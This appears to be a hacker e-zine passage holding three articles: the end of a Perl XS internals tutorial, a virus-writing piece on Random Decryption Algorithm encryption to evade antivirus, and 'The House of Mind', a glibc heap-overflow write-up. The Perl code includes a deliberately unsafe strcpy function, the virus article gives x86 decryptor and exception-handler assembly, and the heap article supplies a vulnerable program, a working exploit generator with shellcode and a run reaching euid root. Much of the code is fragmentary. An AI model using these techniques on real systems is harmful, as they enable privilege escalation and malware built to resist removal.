    if (mg->mg_flags & MGf_GSKIP) {
        mg->mg_flags &= ~MGf_GSKIP; /* setting requires another read */
        (SSPTR(mgs_ix, MGS*))->mgs_flags = 0;
    if (vtbl && vtbl->svt_set)
        CALL_FPTR(vtbl->svt_set)(aTHX_ sv, mg);

    restore_magic(INT2PTR(void*, (IV)mgs_ix));
    return 0;

You know what's a nice feeling? Knowing what most of that does and how it
does it. 

Let us continue. Magic has much more to its structure than just a pointer to
the next one. It has a structure called MGVTBL, where the real juice
happens. That's the magic virtual table. This contains five pointers to
routine types. The first two are svt_get and svt_set, which are called when
the variable is accessed and modified, respectively. The type of virtual
table you use is defined in the type field of the magic structure, and there
are a number of them. This is from perl.h:

#define PERL_MAGIC_sv         '\0' /* Special scalar variable */
#define PERL_MAGIC_overload   'A' /* %OVERLOAD hash */
#define PERL_MAGIC_overload_elem  'a' /* %OVERLOAD hash element */
#define PERL_MAGIC_overload_table 'c' /* Holds overload table (AMT) on stash
#define PERL_MAGIC_bm         'B' /* Boyer-Moore (fast string search) */
#define PERL_MAGIC_regdata    'D' /* Regex match position data
                    (@+ and @- vars) */
#define PERL_MAGIC_regdatum   'd' /* Regex match position data element
#define PERL_MAGIC_env        'E' /* %ENV hash */
#define PERL_MAGIC_envelem    'e' /* %ENV hash element */
#define PERL_MAGIC_fm         'f' /* Formline ('compiled' format) */
#define PERL_MAGIC_regex_global   'g' /* m//g target / study()ed string */
#define PERL_MAGIC_hints      'H' /* %^H hash */
#define PERL_MAGIC_hintselem      'h' /* %^H hash element */
#define PERL_MAGIC_isa        'I' /* @ISA array */
#define PERL_MAGIC_isaelem    'i' /* @ISA array element */
#define PERL_MAGIC_nkeys      'k' /* scalar(keys()) lvalue */
#define PERL_MAGIC_dbfile     'L' /* Debugger %_<filename */
#define PERL_MAGIC_dbline     'l' /* Debugger %_<filename element */
#define PERL_MAGIC_mutex      'm' /* for lock op */
#define PERL_MAGIC_shared     'N' /* Shared between threads */
#define PERL_MAGIC_shared_scalar  'n' /* Shared between threads */
#define PERL_MAGIC_collxfrm   'o' /* Locale transformation */
#define PERL_MAGIC_tied       'P' /* Tied array or hash */
#define PERL_MAGIC_tiedelem   'p' /* Tied array or hash element */
#define PERL_MAGIC_tiedscalar     'q' /* Tied scalar or handle */
#define PERL_MAGIC_qr         'r' /* precompiled qr// regex */
#define PERL_MAGIC_sig        'S' /* %SIG hash */
#define PERL_MAGIC_sigelem    's' /* %SIG hash element */
#define PERL_MAGIC_taint      't' /* Taintedness */
#define PERL_MAGIC_uvar       'U' /* Available for use by extensions */
#define PERL_MAGIC_uvar_elem      'u' /* Reserved for use by extensions */
#define PERL_MAGIC_vec        'v' /* vec() lvalue */
#define PERL_MAGIC_vstring    'V' /* SV was vstring literal */
#define PERL_MAGIC_utf8       'w' /* Cached UTF-8 information */
#define PERL_MAGIC_substr     'x' /* substr() lvalue */
#define PERL_MAGIC_defelem    'y' /* Shadow "foreach" iterator variable
                    smart parameter vivification */
#define PERL_MAGIC_arylen     '#' /* Array length ($#ary) */
#define PERL_MAGIC_pos        '.' /* pos() lvalue */
#define PERL_MAGIC_backref    '<' /* for weak ref data */
#define PERL_MAGIC_symtab     ':' /* extra data for symbol tables */
#define PERL_MAGIC_rhash      '%' /* extra data for restricted hashes */
#define PERL_MAGIC_arylen_p   '@' /* to move arylen out of XPVAV */
#define PERL_MAGIC_ext        '~' /* Available for use by extensions */

How perl will react to a type of magic is usually predefined. Trying to make
magic in almost any of those forms is a suicidal idea. But just in case you
want to, here's how:

SV* scalar = newSV(0);
sv_magic(scalar, scalar, PERL_MAGIC_arylen, "whatever", 8); 
// arylen, I bet that will break nicely
sv_magic(scalar, 0, 'S', ".", 1); // all is well

You know what's fun? You can select meaningless dribble for the second,
third, fourth, and fifth arguments, and it won't usually break right away.
How any of those are used is magic. MAGIC. Really. Random stuff in mg.c and
elsewhere will do checks for certain types. Like "if this happens to be
magic, and happens to be this certain type of magic, with this certain flag,
we're going to GET JIGGY WITH IT". 

The actual definition of sv_magic is this:

void sv_magic(SV* sv, SV* obj, int how, const char* name, I32 namlen);

The first argument is the SV we are magicizing, the second ends up in that
obj field of the magic struct, the third is the type as defined in that
massive paste above (put PERL_MAGIC_ext or '~', your choice), the fourth is
a name associated with it which ends up in the ptr field, and the fifth is
the length of that. Phew!

This is a function that just makes a variable magic, as you prescribe:

sv_make_magic(scalar, type, ident="happy")
    SV* scalar
    char type
    char* ident
    sv_magic(scalar, scalar, type, ident, strlen(ident));

Notice in this example I first demonstrate default parameters, so the user
doesn't necessarily have to provide a name section if it isn't relevant. XS
is full of such neat goodies.

If you want to remove magic from a variable, you can use sv_unmagic(scalar,

I am sure that by now you are superbly confused. Don't worry, that's normal.
I've explained magic like a maniac on meth. Also, the concept isn't nearly
as concrete as others, such as SVs on their own, or IVs, etcetera. 

The type of magic used most often is PERL_MAGIC_sv, or '\0'. Most Perl
special variables are this type. In this case, that name paramater
generating it is its actual variable name. For $\ we give "\". 

---[ 4.2 ]-------------------------------[ Changing Special Variables ]-----

<fish> cool. You likely shouldn't do that

Maybe like me you decided to be a very naughty boy. You want to change the
magic of how a special variable operates. And you don't want to dig through
all of perl's source code changing things. So, let us just remake it and
overwrite the svt_get or svt_set pointer. Oh yeah.

SV *
    SV* scalar
    MGVTBL * const vtbl = ((struct xpvmg*)
    (void*)vtbl->svt_get = my_fun;

Aren't I nice, spreading that out into a full TWO lines of sweet structure
madness? In case you were wondering, SvANY is this:

#define Sv_ANY(sv)   (sv)->sv_any

Just sometimes makes it easier or more legible to write.

Here is the catch: we have to point that at something, and that something
already has to exist. So we write a my_fun before the XS in our .xs file.
This function should match the following:

I32 my_fun( pTHX_ IV num, SV* scalar);

That might not make sense to you, but that's ok. The first argument type is
IV, pTHX_ is merely a perl macro that will make sure our function works
whether or not we are using threads. Any perl variable that has a character,
then THX, then maybe an underscore (maybe not!) is a thread variable. Things
in perl work a bit differently depending on if you are using threads or not,
but thankfully perl provides this mechanism to make sure it usually doesn't
matter to us. 

Here is an example function:

my_fun( pTHX_ IV foo, SV* scalar) 
  { printf( "ZSHZN IS KING\n"); }

Now allow me to demonstrate:

use ExtUtils::testlib;
use Flag;

bash-3.00$ make && perl flag.pl

You get the idea. You can now do whatever you want to Perl special
variables: just be warned that they will lose their original behavior that
was there for a reason. I am not sure when you would actually have a
practical use for creating your own special behavior for variables that perl
specifically needs in one context or another. Unless, of course, you want
everyone to know of your favourable impression of zshzn. 

---[ 4.3 ]---------------------------------------------[ Our Own Magic ]----

<Limbic_Region> zshzn - I am not an internals weenie
<zshzn> Limbic_Region: out of curiosity, is there a specific place where the
internals weenies hang out, where they would all jump up and joyfully assist
me in my curious wanderings?
<Limbic_Region> the internals weenies I know of don't really do IRC

It turns out perl provides a system for creating your own magic variables.
So you don't start randomly magicizing variables in ways that will cause
perl to treat them like something important. Maybe you noticed it already.

#define PERL_MAGIC_uvar       'U' /* Available for use by extensions */

We use a ufuncs structure, as defined in perl.h, and the address of that is
our fourth argument to sv_magic. Yes, I know that is insane. But this is
magic. This is actually very easy to use, considering what we have already
discovered above.

    SV* scalar
    struct ufuncs uf;
    uf.uf_val = &my_fun;// access, svt_get
    uf.uf_set = &my_fun; // set, svt_set
    uf.uf_index = 0; // identification index
    sv_magic(scalar, 0, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));

Remember from above the signature, I32 my_fun( pTHX_ IV num, SV* scalar);,
that we are calling first with an IV, and secondly with a SV. Your function
can parse the identification number and act accordingly, if you need to
treat different callers differently.

---[ 4.4 ]---------------------------------------------[ A Magic JAPH ]-----

Here is a practical example of our ability at work.

bash-3.00$ cat flag.pl
print "Generating obfuscation...";
Flag::sv_set_magic($$_=$_) for 
    qw / J u s t a n o t h e r P e r l h a c k e r /; 
bash-3.00$ perl flag.pl
Generating Obfuscation...terhaer
Just another Perl hacker

I will leave it as a challenge to the reader as to how that works, why it
doesn't work better, and what limitations it has on it. 

-[ 5.0 ]----------------------------------------------------[ Closing ]-----

---[ 5.1 ]----------------------------------------------[ More Topics ]-----

I fully intended to go into more advanced topics. Topics such as the Perl
stack, interaction between stacks, using Perl outside of perl itself,
hacking perl itself, interaction between Perl subroutines, and more.
However, I decided that I better not. The existing documents on those
subjects are very good. After a certain level of familiarity, all you need
to do more things is our handy Perl documentation. 

---[ 5.2 ]--------------------------------------------------[ Sources ]-----

The first and foremost among sources is perlguts. There is also illguts
(Perlguts Illustrated, to be found online), perlxs, perlxstut, perlembed,
perlcall, perlapi, perlhack (An excellent document, the specific reason why
this article cannot be named "Hacking Perl"), perlclib, and perlintern. In
my research I have also spent a bit of time on IRC, with some few people who
can offer relevant assistance. I have also spent a lot of time going through
perl source code. I find this particular document relelvant because it
covers such a variety in a short space, and also brings up security issues
and other fun that anybody can enjoy.

---[ 5.3 ]---------------------------------------------------[ Shouts ]-----

I would like to thank fishbot, Limbic~Region, and AtnNn, all of whom helped
in one way or another.

-[ 6.0 ]------------------------------------------[ Appendix: Flag.xs ]-----

#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0 

my_fun( pTHX_ IV foo, SV* scalar)
{ printf( "%c", foo); }


/* Ever just wished that Perl was an archaic language and you could actually
find such issues as buffer overflows in source code, leading to mad
exploitation for all? Well, if you could, you might find it challenging and
unique, compared to C. This function exists so that you can play around. */

SV *
sv_evil(scalar, string)
    SV* scalar
    char* string
        strcpy(((struct xpv*)scalar->sv_any)->xpv_pv,string);

SV *
    SV* scalar
    MGVTBL * const vtbl = ((struct xpvmg*)
    (void*)vtbl->svt_get = my_fun;

    SV* scalar
    struct ufuncs uf;
    uf.uf_val = &my_fun;
    uf.uf_set = 0;
    int len;
    char *temp = SvPV(scalar, len);
    uf.uf_index = temp[0];
    sv_magic(scalar, scalar, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));

void flush()

void space()
    printf(" ");

    SV* scalar
    sv_magic(scalar,scalar, '\0', "happy", 5);
    const MGVTBL * const vtbl = ((struct xpvmg*)
    MAGIC* mg = ((struct xpvmg*) SvANY(scalar))->xmg_magic;
    CALL_FPTR(vtbl->svt_get)(scalar, mg);

sv_make_magic(scalar, type, ident="happy")
    SV* scalar
    char type
    char* ident
    sv_magic(scalar, scalar, type, ident, strlen(ident));
SV *
    SV* temp = newSVpv("happy", 5);
    temp->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt;   
    PL_sv_undef = *temp;
SV *
sv_set_type(scalar, type)
    SV* scalar
    char* type
    char types[16][9] = {
    "SVt_NULL", "SVt_IV",
    "SVt_NV",   "SVt_RV",
    "SVt_PV",   "SVt_PVIV",
    "SVt_PVNV", "SVt_PVMG",
    "SVt_PVBM", "SVt_PVLV",
    "SVt_PVAV", "SVt_PVHV",
    "SVt_PVCV", "SVt_PVGV",
    "SVt_PVFM", "SVt_PVIO"
    scalar->sv_flags >>= 4;
    scalar->sv_flags <<= 4;
    int i;
    for (i = 0; i < 16; i++) {
        if ( strEQ(type, types[i]) ) {
            scalar->sv_flags |= i;

SV *
sv_set_flag(scalar, flag)
    SV* scalar
    char* flag

 char flags[24][10] = { 
    "PADMY",    "TEMP", 
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
int i;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        scalar->sv_flags |= (int)pow(2,i+8);
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );

SV *
sv_set_flag_only(scalar, flag)
    SV* scalar
    char* flag

 char flags[24][10] = { 
    "PADMY",    "TEMP", 
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
int i;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        scalar->sv_flags = (int)pow(2,i+8);
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );

SV *
sv_rm_flag(scalar, flag)
    SV* scalar
    char* flag

 char flags[24][10] = { 
    "PADMY",    "TEMP", 
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
int i, j;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        j |= (int)pow(2,i+8);
        j = ~j;
        scalar->sv_flags &= j;
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );

SV *
sv_copy(src, dest)
    SV* src
    SV* dest
        sv_setsv(dest, src);
        dest->sv_refcnt = src->sv_refcnt;
        dest->sv_flags = src->sv_flags;
        if ( DEBUG ) Perl_sv_dump(dest);

SV *
    SV* scalar
    // almost the same as the API's: sv_clear(scalar) or sv_free
        sv_setiv(scalar, 0);
        sv_setnv(scalar, 0);
        sv_setpv(scalar, "");
        scalar->sv_flags = 0;

int_me(SV* scalar)

SV *
stringify(SV* scalar)

SV *
double_or_nothing(SV* scalar)

    mXPUSHp("yea",3); // == XPUSHs(sv_2mortal(newSVpv("yea",3)));
    int scalar;
    scalar = call_pv("check", G_ARRAY);
    printf("yo: %d\n", scalar);
    printf("yo: %d\n", POPi);
    printf("yo: %d\n", POPi);
    printf("yo: %d\n", POPi);

----------------------------------[ EOF ]-----------------------------------

[----------------------------[ Exploring RDA ]----------------------------]

  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  *#########{   }####* 
   ##########._.#####    "Kill! Maim! Kill! Maim! Burn!"
    ################     ./kharn

--[ 0 ]-----------------------------------------------[ Introduction ]-----

   The ultimate aim of every VXer is to write a program which is difficult,
   or even impossible to remove from the host after it's been attached.
   This code is then truly viral - it can't be removed without somehow
   harming the host, or the host's environment. Many methods have been
   used to acheive this, but at the heart of them all lies various methods
   of encryption - and RDA is one of them.

   RDA is not some new cipher - it stands for Random Decryption Algorithm,
   and can be used with any encryption algorithm, whether symmetric or
   assymetric. It was first implemented in the RDA.Fighter virus, a virus
   which tried different decryption keys against itself until the
   "decrypted" virus matched a certain checksum - and this was assumed to
   be correct. This is the simplest implementation of RDA.

--[ 1 ]-----------------------------------------------[ Standard RDA ]-----

   Your standard appending virus with encryption, encrypts the body and
   stores the decryption algorithm, key, and ciphertext within the last
   section of the host executable. When the executable is loaded,
   AddressOfEntryPoint has already been hijacked, and points to your
   decryption routine first. The ciphercode is decrypted, executed, and
   control is hopefully returned to the host executable without any major

   The weakness of this is that an AV engine, upon recognizing your
   decryption algorithm, will also recognize your decryption key. Simply
   layering encryption on doesn't help either - the AV engine will simply
   peel away the encryption layers, leading to your decrypted code.

   RDA solves this problem by throwing away the decryption key, but
   leaving the algorithm in the open - if the encryption is immune to
   known-plaintext attacks[1], then the only way an Anti-Virus can look at
   the plaintext code is by brute force. However, the only way YOU can
   reach your own decrypted code is also by brute force. Thus, the
   advantage lies with the virus - the virus can "tolerate" one or two
   executables on a system being corrupted with incorrect decryption, an
   anti-virus cannot.

   The standard RDA implementation (weak XOR, for example):

       xor ebx,ebx

       mov esi,[ebp + hostOffset]
       mov edi,esi
       mov ecx,[ebp + host_size]
       inc ebx
       xor al,bl
       loop decrypt

       mov esi,[ebp + hostOffset]
       push esi
       mov ecx,[ebp + host_size]
       push ecx
       mov eax,[ebp + __ADDR_CheckSum]  ; whatever this happens to be
       call eax
       test eax,eax
       jnz iterate
       mov esi,[ebp + hostOffset]
       jmp esi

   However, this has major flaws which impede it's usability. For example,
   if an anti-virus engine can see this code in the clear and recognizes
   it, it can emulate the virus decryption engine, and call CheckSum for
   itself - revealing the decrypted executable. Also, since the XOR
   algorithm is weak, if a single byte is known in the plaintext, the
   entire ciphertext becomes decrypted.

1) known plaintext attack: where a hostile entity knows part of, or the
   entirety of your plaintext, and uses it to manipulate your encryption.
   for example, bytewise XOR is weak to known plaintext attack - if I
   know one charachter of the plaintext, i know the entire plaintext,
   because the key is the same.

--[ 2 ]-----------------------------------[ Variation: SEH-based RDA ]-----

   With the introduction of structured exception handling in Windows OSes,
   programmers have a good way of catching unexpected errors and handling
   them gracefully, instead of leading the user to a BSoD. This is also
   good for when implementing RDA-based techniques: instead of matching the
   decrypted code to a checksum, we simply run the decrypted code - and use
   a different decryption key if we get an exception.

   Probability is most certainly on our side here - the chance that we'll
   get an incorrect decryption key leading to code which executes, but does
   not lead to an exception, is negligible. Also, the circumstances tilt
   the playing field towards the virus end - as a virus, it can "tolerate"
   a few corrupted executables on a system due to incorrect decryption. An
   anti-virus, on the other hand, cannot. Exception handling is set up with
   the help of SetUnhandledExceptionFilter API, which is called as thus:

       SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER f);

   where 'f' is a function (the exception handler) defined as thus:


   f is called every time an exception occurs, and is passed the state of
   the machine at the point of exception, in the Context member of e.
   Basically, we just try different decryption keys - and if the end result
   (the plaintext code) is incorrect, it'll most likely throw an exception,
   and we can try a different key.

   Here's the Context member of e, which we're interested in. This may
   differ from machine to machine, and this was taken from an IA32 box.

         ContextFlags  DWORD      ?
         iDr0          DWORD      ?
         regEbp        DWORD      ?
         regEip        DWORD      ?
         regCs         DWORD      ?
         regFlag       DWORD      ?
         regEsp        DWORD      ?
         regSs         DWORD      ?
         ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)

   Basically, Context stores the state of the registers at the moment of
   exception. When we exit from our exception handler, we have the option
   of asking the CPU to return to execution from where it halted. This
   "return point" is taken from regEIP, in the Context structure. So we
   modify regEIP to point to our decryption algorithm again. We also need
   to reset EBP and ESP, to make sure we can still access local variables
   and whatnot when we return to the decryption algorithm.

        pop eax
        assume eax:ptr EXCEPTION_POINTERS
        mov ebx,[eax].ContextRecord
        mov eax,ebx
        assume eax:ptr CONTEXT

    ; reset EIP, so we return to "decrypt:"
        lea ebx,decrypt
        mov [eax].regEip,ebx

        mov ebx,ebpSafe
        mov [eax].regEbp,ebx
        mov ebx,espSafe
        mov [eax].regEsp,ebx

        mov eax,-1

   NOTE: ebpSafe and espSafe are drawn from values we know (assume) to be
   correct - since there is an initial run of the decryption algorithm
   (what if the key happens to be the first one guessed?) - ebp and esp are
   saved at every iteration of the decryption algorithm. That way, they
   remain static:

        mov [ebp+espSafe],esp
        mov [ebp+ebpSafe],ebp

   There are problems with this method, however. Firstly, we must make
   sure to recalculate EBP, especially if we work within the confines of a
   virus. This must be done within the exception handler itself - if
   "corrupted" or incorrectly decrypted code modifies EBP before throwing
   an exception and you keep on using the tainted EBP, you'll throw more
   exceptions, leading to an infinite loop and Windows terminating your

   Also, the encryption algorithm must be simple, and efficient - as a
   virus, you must preserve a reasonable loading time for the host
   executable. something which will take several minuites to brute force
   is unacceptable - thus the XOR cipher. However, other fast ciphers
   exist - for example, the XTEA cipher[2].

2) XTEA cipher: although reasonably fast in it's standard form, using
   a 32-bit key is certainly too long for our brute forcing attempts -
   we don't have time to cover that much keyspace. We can shorten XTEA
   to only use 8 bits of randomness in a 32-bit key, to reduce our
   brute forcing time.

----------------------------------[ EOF ]----------------------------------

[---------------------------[ The House of Mind ]---------------------------]

  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  *#########{   }####* 
   ##########._.#####    date: 01/01/2007
    ################       by: K-sPecial


In 2004, a series of patches where released against the GLibC lines, adding
into effect mandatory assertions - in hope of slowing down, if not stopping
the exploitation of wild malloc()/free() holes (from here on out referred to
as "free holes"). In late 2005, Phantasmal Phantasmagoria released a paper 
giving a detailed explanation of fresh, independantly discovered methods for
working around these assertions, and hence, making free holes fair game once
again. The only problem is: Phantasmal did not release any sourcecode with
his paper, which, at that time, was considered to be almost purely
theoretical. In this article, I will pick apart one of his methods,
explaining how it works and elaborate prerequisites for it to work at all.
For this purpose, I will choose what Phantasmal proclaims to be "the most
general technique" - that is, which he also proclaims, the technique most
like the familiar unlink() method. It is now that I bring to you, 

                              The House of Mind.

It should be noted that if one chooses to read this article, he shall be best 

off with first consulting Phantasmal's explanation and version of The House
of Mind, which you can saftely find on both .aware and xzziroz with the link
provided lateron.

The idea behind the House Of Mind is that there is a structure for every
given heap "arena" that stores primary information regarding this "arena". An
arena consists of multiple heap "chunks" (blocks) in a given memory region. A
process starts itself with a primary arena named "main_arena". Assuming I
allocated the first chunk:

   char *ptr = malloc(1024)

This chunk is contained in the main arena. There happens to be a flag in every

chunk, indicating whether the chunk pertains to the main arena. This flag is
located in the 'size' element of this structure:

     chunk  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if allocated            | |
            |             Size of chunk, in bytes                      M|M|P|
       mem  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_space() bytes)                     .
            .                                                               |
 nextchunk  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk                                     |

Taken from malloc.c, this flag is named NON_MAIN_ARENA:

    #define NON_MAIN_ARENA 0x4

When calling the function public_free() (which is what free() boils down to)
with this flag set, the arena for the chunk which free() is being called for
will be  pinpointed outside the main arena. The following code from malloc.c,
within public_free(), specificly outlines this process:

ar_ptr = arena_for_chunk(p);

Where p is the address of the chunk and ar_ptr is the container receiving the 

address of this chunks arena. Defined in arena.c, the arena_for_chunk macro 
looks as the following: 

   #define arena_for_chunk(ptr) \
    (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)

chunk_non_main_arena(ptr) returns true, since i claim to be NON_MAIN_ARENA. 
heap_for_ptr looks as the following:

   #define heap_for_ptr(ptr) \
    ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))

HEAP_MAX_SIZE is defined as 1024*1024 on a default install. If you grock the 
code you will find that ~(1024*1024-1) dilutes to be 0xFFF00000, which is an
AND-bitmask that would transform a number such as 0x08012345 into 0x08000000.

Assume that this is precisely what just happened: My first chunk allocated
in a piece of code happens to be 0x8012345. Then it's arena pointer (ar_ptr)
will be 0x08000000. This is invalid and will likely result in a segmentation
fault or likewise error since there is no arena structure located at the
address. This is also useless since I can not write data to this address -
and hence, I am unable to create a fake arena structure. What must be done
is just what Phantasmal suggested: Make the program allocate more memory
until a chunk is located above 0x81000000. Assume I allocate a chunk located
at 0x8100123. If I overflow this chunks size element with the NON_MAIN_HEAP
flag set, the arena pointer will be looked for it in memory that the previous
chunk controls. By forging an arena structure with evil offsets I can cause
code execution through at least two different code locations in the malloc

Phantasmal wrote of two different methods through which code execution can be 

induced through the arbitrary forging of an arena. The first method involves
forging addresses in the bins[] array located inside of the arena structure. 

Phantasmal wrote that if the following conditions where to be made valid:

  - The negative of the size of the overflowed chunk must
    be less than the value of the chunk itself.
  - The size of the chunk must not be less than av->max_fast.
  - The IS_MMAPPED bit of the size cannot be set.
  - The overflowed chunk cannot equal av->top.
  - The NONCONTIGUOUS_BIT of av->max_fast must be set.
  - The PREV_INUSE bit of the nextchunk (chunk + size)
    must be set.
  - The size of nextchunk must be greater than 8.
  - The size of nextchunk must be less than av->system_mem
  - The PREV_INUSE bit of the chunk must not be set.
  - The nextchunk cannot equal av->top.
  - The PREV_INUSE bit of the chunk after nextchunk
    (nextchunk + nextsize) must be set

Then the following code would be executed:

  bck = unsorted_chunks(av);
  fwd = bck->fd;
  p->bk = bck;
  p->fd = fwd;
  bck->fd = p;
  fwd->bk = p;

 "In this case p is the address of the designer's overflowed chunk. The 
  unsorted_chunks() macro returns av->bins[0] which is designer controlled.
  If the designer sets av->bins[0] to the address of a GOT or .dtors entry
  minus 8, then that entry (bck->fd) will be overwritten with the address
  of p."

Phantasmal kindof fibbed here. unsorted_chunks() does not return av->bins[0] 
- it returns &av->bins[0], which, at first, seems to be about useless.
Phantasmal was close enough for us to give him credit, tho. In fact, I
imagine he just typed it wrong as it wouldn't work elsewise - fwd->bk would
cause a segfault. What actually has to be done is setting bck->fd
(&av->bins[0] + 8) to the address of the .dtors+4 entry minus 12. After this
is accomplished, fwd will be set to bck->fd, fwd->bk = p (bck->fd + 12) will
write the address of the chunk being free()'d to .dtors + 4. The first byte
of the chunk I write will actually be at p + 8, since p points to prev_size,
the first element of a chunk structure, and p + 4 points to the size element
- the second element in a heap structure. This is fair, because I can place
a jmp 0x4 in the 4 bytes that occupy prev_size. It will jump over the size
element and land right into the shellcode.

I've gone too far without introducing you to the vulnerable code!

------------------------------------------------------------ begin heap1.c --

#include <stdio.h>
#include <stdlib.h>

int main (void) {
        char *ptr  = malloc(1024);
        char *ptr2;
        int heap = (int)ptr & 0xFFF00000;
        _Bool found = 0;

        printf("ptr found at %p\n", ptr);

// i == 2 because this is my second chunk to allocate
for (int i = 2; i < 1024; i++) {
                if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == 
(heap + 0x100000))) {
                        printf("good heap allignment found on malloc() %i 
(%p)\n", i, ptr2);
                        found = 1;

        fread (ptr, 1024 * 1024, 1, stdin);


-------------------------------------------------------------- end heap1.c --

This code makes an initial malloc, followed by numerous additional
allocations which are necessary to return a chunk that would be expected to
have an arena in a memory location that I can write to through the heap
overflow. The first chunk found having an arena in overflowable memory has
its address printed for my convienence. After this, one more chunk is
allocated since Phantasmal stated that the free()'d chunk could not equal
av->top (the most recent allocated chunk) (actually he said nextchunk could
not equal this, he fibbed again)

Now for exploit code:

----------------------------------------------------------- begin ploit1.c --

#include <stdio.h>

/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub 
http://metasploit.com */
unsigned char scode[] =

int main (void) {
        // don't use the first 8 bytes of a chunk for data because
        // when it is free()'d it seems to be garbaged up with
        // strange addresses.
        for (int i = 0; i < 8; i++) putchar(0x41);

        // set the mutex to 0
        fwrite("\x00\x00\x00\x00", 4, 1, stdout);

        // write max_fast a few times, we'll hit it and we'll
        // take up some more bytes
        for (int i = 0; i < 32 / 4; i++)
                fwrite("\x02\x01\x00\x00", 4, 1, stdout);

        // finish this chunk with the address one wants to place at
        // bins[0] + 8 (dtors_end - 12)
        for (int i = 0; i < 984 / 4; i++)
                fwrite("\x70\x96\x04\x08", 4, 1, stdout);

        // fill in the unused mallocated space with A's but
        // preserving the 'size' element (1024 with PREV_INUSE
        // bit set)
        for (int i = 0; i < 721; i++) {
                fwrite("\x09\x04\x00\x00", 4, 1, stdout);
                for (int i = 0; i < 1028; i++)
        fwrite("\x09\x04\x00\x00", 4, 1, stdout);

        // this is the memory that heap_for_ptr returned,
        // one wants to fill it with the address of which
        // ar_ptr should have
        for (int i = 0; i < (1024 / 4); i++)
                fwrite("\x10\xa0\x04\x08", 4, 1, stdout);

        // jmp + 12
        fwrite("\xeb\x0c\x90\x90", 4, 1, stdout);

        // size field with NON_MAIN_ARENA set
        fwrite("\x0d\x04\x00\x00", 4, 1, stdout);

        // icky 8 byte filler
        fwrite("\x90\x90\x90\x90\x90\x90\x90\x90", 8, 1, stdout);

        // finally the shellcode
        fwrite(scode, sizeof(scode), 1, stdout);


------------------------------------------------------------- end ploit1.c --

First things first, I build a fake arena structure in the first mallocated 
block from heap1.c. I start out 8 bytes from the top of it, since when it is 
free()'d, these 8 bytes will be garbaged. Then I write a 0. I had to learn 
the hard way (lots of glibc reading) that the first value of an arena
structure is a mutex. This mutex will be waited upon (blocked upon) and your
program will infinite loop if it equals anything other than 0. Next i write
0x102, this is max_fast with a small size (so my chunk is not considered
smaller than max_fast, as Phantasmal stated) which also has the NONCONTIGUOUS
flag (defined as 2) set. max_fast is located at ar_ptr + 8. Afterwards, I
garbage the rest of the arena with the address I wish p to be written to,
minus 12. &bins[0] is located at ar_ptr + 76 so I am sure to hit it. Next,
the unused mallocated area I am overflowing is filled with filler until I get
to the chunk which consists of the memory that heap_for_ptr returns. Here, I
must provide the arena location that ar_ptr will contain - and hence, the 
arena location that free will use for this chunk. ar_ptr is located at the 
address returned by heap_for_ptr. Almost there. Next I need to fill the chunk
that will be written to the specified memory location. By starting with a jmp
12, I jump past the 'size' element of this chunk and the first 8 bad bytes of
it (from once it's free()'d). Next comes the size field itself, which should
be the legit size of the chunk along with the NON_MAIN_ARENA bit set.
Finally, the 8 icky byte filler followed by the pretty shellcode.


Location to be written to (dtors + 4), minus 12:
kspecial@mirage:~$ objdump -x heap | grep dtors | head -1
 16 .dtors        00000008  08049678  08049678  00000678  2**2

0x08049678 + 4 - 12 == 0x08049670

Location of arena (first chunk, + 8)
kspecial@mirage:~$ ./heap
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)

0x0804a008 + 8     == 0x0804a010


kspecial@mirage:~$ gcc -o heap heap1.c -std=c99
kspecial@mirage:~$ gcc -o ploit ploit.c -std=c99
kspecial@mirage:~$ ./ploit > file
kspecial@mirage:~$ su root
mirage:/home/kspecial# chown root heap
mirage:/home/kspecial# chmod 4755 heap
mirage:/home/kspecial# exit
kspecial@mirage:~$ ./heap < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(kspecial) gid=1000(kspecial) euid=0(root) 


diagram of the trashed heap:

chunk 1   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |        prev_size (?)        |        size (0x409)         |
          |              garbage (0x4141414141414141)                 |
